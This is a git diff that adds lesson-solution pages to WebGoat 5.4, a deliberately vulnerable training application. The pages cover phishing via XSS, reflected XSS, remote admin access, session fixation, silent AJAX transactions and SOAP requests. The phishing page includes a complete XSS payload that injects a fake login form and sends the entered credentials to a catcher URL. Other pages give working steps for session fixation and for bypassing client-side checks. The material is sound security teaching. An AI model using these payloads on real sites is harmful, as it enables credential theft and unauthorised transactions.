diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image005.png
new file mode 100644
index 000000000..4f0de1d74
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image006.jpg
new file mode 100644
index 000000000..4d4491eb3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Phishing.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Phishing.html
new file mode 100644
index 000000000..ac817a401
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Phishing.html
@@ -0,0 +1,69 @@
+
+
+
+Phising with XSS
+
+
+
+
Lesson Plan Title: Phishing with XSS
+
+
Concept / Topic To Teach:
+It is always a good practice to validate all input on the
+server side. XSS can occur when unvalidated user input is used
+in an HTTP response. With the help of XSS you can do a Phishing
+Attack and add content to a page which looks official. It is very
+hard for a victim to determinate that the content is malicious.
+
+
+
General Goal(s):
+The user should be able to add a form asking for username
+and password. On submit the input should be sent to
+http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName
+
+
+Solution:
+With XSS it is possible to add further elements to an existing Page.
+This solution consists of two parts you have to combine:
+
+
A form the victim has to fill in
+
A script which reads the form and sends the gathered information to the attacker
+
+A Form with username and password could look like this:
+
Search for this term and you will see that a form is added to the page since the search field accepts HTML.
+ The initial </form> tag is to terminate the original search form.
+
+Now you need a script:
+
+<script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
+document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen.
+User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);}
+</script>
+
+
+This script will read the input from the form and send it to the catcher of WebGoat.
+The text in blue should match what is in your address bar. If you are using ports and/or webscarab, it may be different.
+The last step is to put things together. Add a Button to the form which
+calls the script. You can reach this with the onclick="myFunction()" handler:
+
+The final String looks like this:
+</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
+document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen.
+User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);}
+</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3
+><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password"
+name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
+
+Search for this String and you will see a form asking for your username and password.
+Fill in these fields and click on the Login Button, which completes the lesson.
Lesson Plan Title: How to Perform Reflected Cross Site
+Scripting (XSS) Attacks
+
+
Concept / Topic To Teach:
+It is always a good practice to validate
+all input on the server side. XSS can occur when unvalidated user input is used
+in an HTTP response. In a reflected XSS attack, an attacker can craft a URL
+with the attack script and post it to another website, email it, or otherwise
+get a victim to click on it.
+
+
General Goal(s):
+For this exercise, your
+mission is to come up with some input containing a script. You have to try to
+get this page to reflect that input back to your browser, which will execute
+the script and do something bad.
+
+
+
+
Figure 1 Lesson 15
+
+
+
+
Solution:
+
+
+
+
Enter
+<script>alert('Bang!')</script> for the PIN value
+
+
+
+
+
+
Figure 2 Lesson 15 Completed
+
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/filelist.xml
new file mode 100644
index 000000000..8ebcbe37d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/filelist.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image001.png
new file mode 100644
index 000000000..6ff72a45b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image003.png
new file mode 100644
index 000000000..e44f2e566
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image005.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image005.jpg
new file mode 100644
index 000000000..73cdb0bbf
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image005.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image006.jpg
new file mode 100644
index 000000000..fb2e1977e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ReflectedXSS_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw.html b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw.html
new file mode 100644
index 000000000..b154b0c40
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw.html
@@ -0,0 +1,666 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: Remote
+Admin Access
+
+
+
+
Concept /
+Topic To Teach:
+
+
Applications
+will often have an administrative interface that allows privileged users access
+to functionality that normal users shouldn't see. The application server will
+often have an admin interface as well.
+
+
+
+
General
+Goal(s):
+
+
Try to access
+the administrative interface for WebGoat. You may also try to access the
+administrative interface for Tomcat. The Tomcat admin interface can be accessed
+via a URL (/admin) and will not count towards the completion of this lesson.
+
+
+
+
+
+
Figure 1 Lesson 7
+
+
+
+
Solution:
+
+
+
+
Append &admin=true to the URL in the
+browser and hit "Enter"
+
+
+
+
Open the menu
+"Admin functions" and notice that you have additional menu options like
+"Database Dump", "User Information" and "Product Information".
Remark: the parameter Screen is generated
+randomly and can be different in your environment!
+
+
+
+
+
+
Figure 3 Lesson 7 Completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/filelist.xml
new file mode 100644
index 000000000..abc27092d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image001.png
new file mode 100644
index 000000000..eb4392c2d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image002.jpg
new file mode 100644
index 000000000..6301ccbb1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image003.png
new file mode 100644
index 000000000..b6bf2f272
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image004.jpg
new file mode 100644
index 000000000..d94ac96c1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image005.png
new file mode 100644
index 000000000..4a274e847
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image006.jpg
new file mode 100644
index 000000000..b93cbad84
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/RemoteAdminFlaw_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SameOriginPolicyProtection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SameOriginPolicyProtection.html
new file mode 100644
index 000000000..59fac9fa5
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SameOriginPolicyProtection.html
@@ -0,0 +1,641 @@
+
+
+
+
+
+
+
+Solution: Same Origin Policy Protection
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: Same Origin Policy Protection.
+
+
+
+
Concept /
+Topic To Teach:
+
+
A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous calls from the client side to a server. However, as a security measure these requests may only be made to the server from which the client page originated.
+
+
+
+
General
+Goal(s):
+
+
+
+
This exercise demonstrates the Same Origin Policy Protection. XHR requests can only be passed back to the originating server. Attempts to pass data to a non-originating server will fail.
+
+
+
+
+
Solution:
+
+
Click both of the links on the page to see their behavior and complete the lesson.
Concept / Topic To Teach:
+How to steal a session with a 'Session Fixation'
+
+
+
How the attacks works:
+A user is recognized by the server by an unique
+Session ID. If a user has logged in and is authorized
+he does not have to reauthorize when he revisits the
+application as the user is recognized by the Session ID.
+ In some applications it is possible to deliver the Session
+ ID in the Get-Request. Here is where the attack starts.
+
+
An attacker can send a hyperlink to a
+ victim with a chosen Session ID. This can be
+ done for example by a prepared mail which looks like an
+official mail from the application administrator. If the victim
+ clicks on the link and logs in he is authorized by the
+ Session ID the attacker has chosen. The attacker can visit
+ the page with the same ID and is recognized as the victim
+ and gets logged in without authorization.
+
+
General Goal(s):
+This lesson has several stages. You play the attacker but
+also the victim. After having done this lesson it should be
+ understood how a Session Fixation in general works. It should
+ be also understood that it is a bad idea to use the Get-Request
+ for Session IDs.
+
+
+
+
+Solution:
+This lesson has 4 stages. In stage 1 and 4 you are Hacker Joe
+in lesson 2 and 3 you are the victim Jane.
+
+
+Stage 1:
+You have to send a prepared mail to Jane which looks like a mail from Goat Hills Financial with a link containing a Session ID.
+The mail is already prepared. You only have to alter the link so it includes
+a Session ID (SID). You can archive this by adding &SID=WHATEVER to
+the link. Of course can WHATEVER be replaced by any other string.
+The link should look similar to following:
+<a href=http://localhostattack?Screen=46&menu=320&SID=WHATEVER>
+
+
+
+Figure 1: Prepared Mail
+
+
+
+
+Stage 2:
+Now you are Jane which receives the mail you wrote in stage 1.
+Point with the mouse on the link and you will notice the
+SID in the status bar of your browser. This is the easiest
+stage as you have only to click on the link 'Goat Hills Financial'.
+
+
+
+Figure 2: Received Mail
+
+
+
+
+
+Stage 3:
+You are on the login screen of Goat Financial Hills now. In
+the URL is the SID visible. All
+you have to do is to log in with your user name Jane
+and your password tarzan.
+
+Stage 4:
+The application switches again to the hacker Joe.
+There is already a prepared link you have to click on
+to reach the Goat Hill Financial. In real life this
+would be different of course. You could directly put the URL
+in the address bar of your browser.
+
+
+After having clicked on the provied link you reach
+Goat Hill Financial. Take a look at the URL and
+you will see that your SID is NOVALIDSESSION.
+Change this string to the SID you have chosen
+at the beginning of this lesson and hit enter.
+
+
+Figure 4: Browser Address Bar Before Changes
+
+
+Figure 5: Browser Address Bar After Changes
+
+
+
+Congratulation! You are logged in as Jane
+and the lesson was successful.
+
+
+Figure 6: Successful Completion Of The Lesson
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage1.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage1.png
new file mode 100644
index 000000000..feb782736
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage1.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage2.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage2.png
new file mode 100644
index 000000000..002ceece2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage2.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage3.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage3.png
new file mode 100644
index 000000000..d7c056258
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage3.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_1.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_1.png
new file mode 100644
index 000000000..a905298d0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_1.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_2.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_2.png
new file mode 100644
index 000000000..c0579ce8f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_stage4_2.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_success.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_success.png
new file mode 100644
index 000000000..a3edf2e13
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SessionFixation_files/sf_success.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions.html
new file mode 100644
index 000000000..da814a15d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions.html
@@ -0,0 +1,931 @@
+
+
+
+
+
+
+
+Solution: Silent Transcations Attacks
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Silent Transactions Attacks.
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+teaches how to perform silent transactions attacks.
+
+
+
+
How the
+attacks works:
+
+
Any system that
+silently processes transactions using a single submission is dangerous to the
+client. For example, if a normal web application allows a simple URL
+submission, a preset session attack will allow the attacker to complete a
+transaction without the user's authorization. In Ajax, it gets worse: the
+transaction is silent; it happens with no user feedback on the page, so an
+injected attack script may be able to steal money from the client without
+authorization.
+
+
+
+
General
+Goal(s):
+
+
This is a
+sample internet banking application - money transfer page.
+
+
It shows
+below your balance, the account you are transferring to and amount you will
+transfer.
+The application uses AJAX to submit the transaction after doing some basic
+client side validations.
+Your goal is to try to bypass the user's authorization and silently execute the
+transaction.
+
+
This web
+application uses JavaScript on the client to initiate a transaction for
+transferring money. Examining the HTML source reveals that two JavaScript
+functions are being used:
+
+
+
<script>
+
+
function
+processData(){
+
+
var accountNo =
+document.getElementById('newAccount').value;
+
+
var amount =
+document.getElementById('amount').value;
+
+
if ( accountNo == ''){
+
+
alert('Please enter a valid account number to
+transfer to.')
+
+
return;
+
+
}
+
+
else if ( amount == ''){
+
+
alert('Please enter a valid amount to
+transfer.')
+
+
return;
+
+
}
+
+
var balanceValue =
+document.getElementById('balanceID').innerText;
+
+
balanceValue = balanceValue.replace( new
+RegExp('$') , '');
+
+
if ( parseFloat(amount) >
+parseFloat(balanceValue) ) {
+
+
alert('You can not transfer more funds than
+what is available in your balance.')
var resultsDiv =
+document.getElementById('resultsDiv');
+
+
resultsDiv.innerHTML = '';
+
+
resultsDiv.innerHTML
+= result;
+
+
}}}
+
+
</script>
+
+
+
The function
+processData() is called when the user fills out an account number and an amount
+to transfer. The function processData() will check if the user has sufficient
+balance before initiating the transaction. After validation of the balance, the
+JavaScript function submitData(accountNo, balance) is called which actually
+submits the required information, target account number and the amount to
+transfer, to the back-end web application.
+
+
+
+
If you are
+able to call this JavaScript function submitData(accountNo, balance) from the
+browser, you are able to bypass the client-side validation and execute this
+transaction silently, without an additional approval or digital signature of
+the user.
+
+
+
+
The latest
+generation of browsers allows to call JavaScript from the address bar, using
+javascript:function();. Try to execute: javascript:submitData(1234556,11000);
+
+
+
+
+
+
Figure 2 Follow the hints....
+
+
+
+
+
+
Figure 3 HTTP Request generated from Javascript function
+submitData(123456,110000);
+
+
+
+
+
+
+
+
Figure 4 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/filelist.xml
new file mode 100644
index 000000000..dbcf5ad0e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/filelist.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image001.png
new file mode 100644
index 000000000..61f7e63a1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image003.png
new file mode 100644
index 000000000..faf59c077
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image005.png
new file mode 100644
index 000000000..4f4f0608a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image007.png
new file mode 100644
index 000000000..04494b197
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image009.jpg
new file mode 100644
index 000000000..b2529e37c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image010.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image010.jpg
new file mode 100644
index 000000000..da2d8692a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image010.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image011.jpg
new file mode 100644
index 000000000..efdefff06
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image012.jpg
new file mode 100644
index 000000000..8375ab7cd
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SilentTransactions_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest.html b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest.html
new file mode 100644
index 000000000..72b3257e3
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest.html
@@ -0,0 +1,879 @@
+
+
+
+
+
+
+
+Solution: Create a SOAP Request
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Create a SOAP Request
+
+
+
+
Concept /
+Topic To Teach:
+
+
Web
+Services communicate through the use of SOAP requests. These requests are
+submitted to a web service in an attempt to execute a function defined in the
+web service definition language (WSDL). Let's learn something about WSDL files.
+Check out WebGoat's web service description language (WSDL) file.
+
+
+
+
General
+Goal(s):
+
+
Try
+connecting to the WSDL with a browser or Web Service tool. The URL for the web
+service is: http://localhostservices/SoapRequest The WSDL can usually
+be viewed by adding a ?WSDL on the end of the web service request.
+
+
+
+
+
+
Figure 1 - Lesson 21
+
+
+
+
Solution:
+
+
+
+
Click on the
+URL "WebGoat WSDL" to examine the Webservices Description Language file.
+
+
+
+
+
+
Figure 2 - WSDL
+
+
+
+
Count the
+number of operations like getFirstName. There are 4 operations defined.
+
+
+
+
+
+
Figure 3 Enter the ID
+
+
+
+
For the next
+question the getFirstNameRequest method uses an int as parameter type. Enter
+int and click "Submit".
+
+
+
+
+
+
Figure 4 Stage 2 Completed
+
+
+
+
Intercept the
+HTTP Request with WebScarab and click on the “Raw” tab. Make sure that
+“Intercept Responses” is selected.
+
+
+
+
+
Change the POST header to open
+ the SoapRequest:
+ POST http://localhost/WebGoat/services/SoapRequest HTTP/1.1 (This will vary based on which ports you are using)
+
Change the Content-Type to
+ text/xml:
+ Content-Type: text/xml
+
Add a header SOAPAction.
+ SOAPAction: (No value needs to be specified for this header)
It is important that there is no whitespace (carriage returns or spaces) from the SOAPAction header to the opening XML tag. This generates an error instead of the desired response.
+
+
+
+
+
+
Figure 5 Updated HTTP request with SOAP parameters
+
+
+
+
The response
+is Joe.
+
+
+
+
Figure 6 Intercept response
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/filelist.xml
new file mode 100644
index 000000000..2c3012bc9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/filelist.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image001.png
new file mode 100644
index 000000000..baa4ba50f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image002.jpg
new file mode 100644
index 000000000..f9ab80c9b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image003.png
new file mode 100644
index 000000000..ab5ed9af8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image004.jpg
new file mode 100644
index 000000000..c12c37f71
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image005.png
new file mode 100644
index 000000000..f46b3b8f7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image006.jpg
new file mode 100644
index 000000000..d7c4069ba
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image007.png
new file mode 100644
index 000000000..a841fc1d5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image008.jpg
new file mode 100644
index 000000000..2d4b523a5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image009.png
new file mode 100644
index 000000000..2b7656cc1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image010.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image010.jpg
new file mode 100644
index 000000000..910fb47dc
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/SoapRequest_files/image010.jpg differ
